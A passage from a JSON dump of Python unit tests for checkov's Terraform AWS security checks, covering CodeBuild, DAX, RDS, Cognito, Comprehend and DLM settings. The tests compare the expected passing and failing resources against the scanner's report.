    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CodeBuildPrivilegedMode import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCodeBuildPrivilegedMode(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CodeBuildPrivilegedMode\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_codebuild_project.pass\",\n            \"aws_codebuild_project.pass2\",\n        }\n        failing_resources = {\n            \"aws_codebuild_project.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CodeBuildProjectEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CodeBuildProjectEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCodeBuildProjectEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CodeBuildProjectEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_codebuild_project.success_no_encryption_disabled\",\n            \"aws_codebuild_project.success\"\n        }\n        failing_resources = {\n            \"aws_codebuild_project.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CodePipelineArtifactsEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CodePipelineArtifactsEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCodePipelineArtifactsEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CodePipelineArtifactsEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_codepipeline.pass\",\n        }\n        failing_resources = {\n            \"aws_codepipeline.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CodebuildHasLogs.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CodebuildHasLogs import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCodebuildHasLogs(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CodebuildHasLogs\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_codebuild_project.pass\",\n        }\n        failing_resources = {\n            \"aws_codebuild_project.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 2)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CodebuildS3LogsEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CodebuildS3LogsEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCodebuildS3LogsEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CodebuildS3LogsEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_codebuild_project.pass\",\n            \"aws_codebuild_project.pass2\",\n        }\n        failing_resources = {\n            \"aws_codebuild_project.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CodebuildUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CodebuildUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCodebuildUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CodebuildUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_codebuild_project.enabled\",\n        }\n        failing_resources = {\n            \"aws_codebuild_project.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 3)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CodecommitApprovalRulesRequireMin2.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CodecommitApprovalsRulesRequireMin2 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCodecommitApprovalsRulesRequireMin2(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CodecommitApprovalsRulesRequireMin2\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_codecommit_approval_rule_template.pass\",\n        }\n        failing_resources = {\n            \"aws_codecommit_approval_rule_template.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CognitoUnauthenticatedIdentities.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CognitoUnauthenticatedIdentities import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCognitoUnauthenticatedIdentities(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CognitoUnauthenticatedIdentities\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cognito_identity_pool.pass\",\n        }\n        failing_resources = {\n            \"aws_cognito_identity_pool.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ComprehendEntityRecognizerModelUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ComprehendEntityRecognizerModelUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestComprehendEntityRecognizerModelUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ComprehendEntityRecognizerModelUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_comprehend_entity_recognizer.pass\",\n        }\n        failing_resources = {\n            \"aws_comprehend_entity_recognizer.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ComprehendEntityRecognizerVolumeUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ComprehendEntityRecognizerVolumeUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestComprehendEntityRecognizerVolumeUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ComprehendEntityRecognizerVolumeUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_comprehend_entity_recognizer.pass\",\n        }\n        failing_resources = {\n            \"aws_comprehend_entity_recognizer.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ConfigConfigurationAggregator.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.ConfigConfgurationAggregatorAllRegions import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestConfigConfigurationAggregator(unittest.TestCase):\n\n    def test_failure_account(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_config_configuration_aggregator\" \"organization\" {\n                    \n                      name = \"example\"\n                    \n                      account_aggregation_source {\n                        account_ids = [\"123456789012\"]\n                        regions     = [\"us-east-2\", \"us-east-1\", \"us-west-1\", \"us-west-2\"]\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_config_configuration_aggregator']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_organization(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_config_configuration_aggregator\" \"organization\" {\n                    \n                      name = \"example\"\n                    \n                      organization_aggregation_source {\n                        role_arn    = aws_iam_role.organization.arn\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_config_configuration_aggregator']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_config_configuration_aggregator\" \"organization\" {\n                    \n                      name = \"example\"\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_config_configuration_aggregator']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_account(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_config_configuration_aggregator\" \"organization\" {\n                    \n                      name = \"example\"\n                    \n                      account_aggregation_source {\n                        account_ids  = [\"123456789012\"]\n                        all_regions  = true\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_config_configuration_aggregator']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_organization(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_config_configuration_aggregator\" \"organization\" {\n                    \n                      name = \"example\"\n                    \n                      organization_aggregation_source {\n                        all_regions = true\n                        role_arn    = aws_iam_role.organization.arn\n                      }\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_config_configuration_aggregator']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestConnectInstanceKinesisVideoStreamStorageConfigUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_connect_instance_storage_config.pass\",\n        }\n        failing_resources = {\n            \"aws_connect_instance_storage_config.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ConnectInstanceS3StorageConfigUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ConnectInstanceS3StorageConfigUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestConnectInstanceS3StorageConfigUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ConnectInstanceS3StorageConfigUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_connect_instance_storage_config.pass\",\n        }\n        failing_resources = {\n            \"aws_connect_instance_storage_config.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DAXEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DAXEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDAXEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DAXEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dax_cluster.enabled\",\n        }\n\n        failing_resources = {\n            \"aws_dax_cluster.default\",\n            \"aws_dax_cluster.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DAXEndpointTLS.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DAXEndpointTLS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDAXEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DAXEndpointTLS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dax_cluster.pass\",\n        }\n\n        failing_resources = {\n            \"aws_dax_cluster.fail\",\n            \"aws_dax_cluster.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DBInstanceBackupRetentionPeriod.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DBInstanceBackupRetentionPeriod import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDBInstanceBackupRetentionPeriod(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DBInstanceBackupRetentionPeriod\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_rds_cluster.pass\",\n            \"aws_db_instance.pass\",\n            \"aws_rds_cluster.pass2\",\n            \"aws_db_instance.pass2\",\n        }\n        failing_resources = {\n            \"aws_rds_cluster.fail\",\n            \"aws_rds_cluster.fail2\",\n            \"aws_db_instance.fail\",\n            \"aws_db_instance.fail2\",\n        }\n        unknown_resources = {\n            \"aws_db_instance.unknown\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n        self.assertEqual(len([r for r in report.resources if r in unknown_resources]), 0)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DBInstanceLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DBInstanceLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDBInstanceLogging(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DBInstanceLogging\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.mysql\",\n            \"aws_db_instance.postgres\",\n        }\n        failing_resources = {\n            \"aws_db_instance.default\",\n            \"aws_db_instance.empty\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DBInstanceMinorUpgrade.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DBInstanceMinorUpgrade import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDBInstanceMinorUpgrade(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DBInstanceMinorUpgrade\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.pass\",\n            \"aws_rds_cluster_instance.pass\",\n        }\n        failing_resources = {\n            \"aws_db_instance.fail\",\n            \"aws_db_instance.fail2\",\n            \"aws_rds_cluster_instance.fail\",\n            \"aws_rds_cluster_instance.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DBSnapshotCopyUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DBSnapshotCopyUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDBSnapshotCopyUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DBSnapshotCopyUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_snapshot_copy.pass\",\n        }\n\n        failing_resources = {\n            \"aws_db_snapshot_copy.fail\",\n        }\n\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DBSnapshotsArePrivate.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DBSnapshotsArePrivate import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDBSnapshotsArePrivate(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DBSnapshotsArePrivate\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_snapshot.pass\",\n            \"aws_db_snapshot.pass2\",\n        }\n\n        failing_resources = {\n            \"aws_db_snapshot.fail\",\n        }\n\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DLMEventsCrossRegionEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DLMEventsCrossRegionEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDLMEventsCrossRegionEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DLMEventsCrossRegionEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dlm_lifecycle_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_dlm_lifecycle_policy.fail\",\n            \"aws_dlm_lifecycle_policy.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DLMEventsCrossRegionEncryptionWithCMK.py",
